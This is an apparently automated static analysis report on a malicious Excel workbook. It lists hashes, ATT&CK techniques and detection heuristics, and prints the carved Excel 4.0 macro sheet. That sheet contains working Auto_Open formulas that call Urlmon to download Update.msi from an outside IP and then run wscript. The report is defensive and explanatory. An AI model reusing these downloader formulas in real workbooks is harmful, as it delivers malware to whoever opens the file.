Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6609d60b228b9b7f…

MALICIOUS

Office (OOXML)

29.0 KB Created: 2005-06-03 02:06:08 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-25
MD5: 8931ae3f3fda08ca218f07fb8ba94c71 SHA-1: dae432b135f395a2be307f9f44540d56a1457be3 SHA-256: 6609d60b228b9b7f080afa336cf567800c0e0d4415a961b9ab7d72bb5d58ff27
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros that leverage the CALL function to download a file named 'Update.msi' from 'http://46.17.98.187/index.php' using Urlmon. The macros then attempt to execute this downloaded file using the EXEC function with 'wscript spp'. This indicates a downloader functionality designed to fetch and run a second-stage payload.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 3 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Binary XLM macro sheet with WinAPI/download strings critical OOXML_XLM_BINARY_WINAPI_STRINGS
    Excel 4.0 macro sheet is stored as BIFF12/XLSB binary data and contains Win32 download or process-execution API strings such as URLDownloadToFileA, ShellExecuteA, or CreateDirectoryA. These strings are high-signal in XLM macro sheets and catch payload-download macros that XML-formula scanners cannot parse.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.17.98.187/index.php Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1753 bytes
SHA-256: 3c4053be2e631eda974b206f53531e3a0166988fd60c21fe8b97d584f2994adc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="ED97:ED135"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="EC112" workbookViewId="0"><selection activeCell="ED114" sqref="ED114"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="133" width="9.140625" style="1"/><col min="134" max="134" width="50.7109375" style="1" customWidth="1"/><col min="135" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="97" spans="134:134" x14ac:dyDescent="0.25"><c r="ED97" s="1" t="s"><v>0</v></c></row><row r="116" spans="134:134" x14ac:dyDescent="0.25"><c r="ED116" s="1" t="s"><v>1</v></c></row><row r="117" spans="134:134" x14ac:dyDescent="0.25"><c r="ED117" s="1" t="s"><v>2</v></c></row><row r="120" spans="134:134" x14ac:dyDescent="0.25"><c r="ED120" s="1" t="b"><f>CALL("Urlmon",ED116&amp;ED117,"JJCCJJ",0,"http://46.17.98.187/index.php","C:\ProgramData\Update.msi",0,0)</f><v>0</v></c></row><row r="124" spans="134:134" x14ac:dyDescent="0.25"><c r="ED124" s="1"><f>EXEC("wscript spp")</f><v>33</v></c></row><row r="135" spans="134:134" x14ac:dyDescent="0.25"><c r="ED135" s="1" t="b"><f>HALT()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>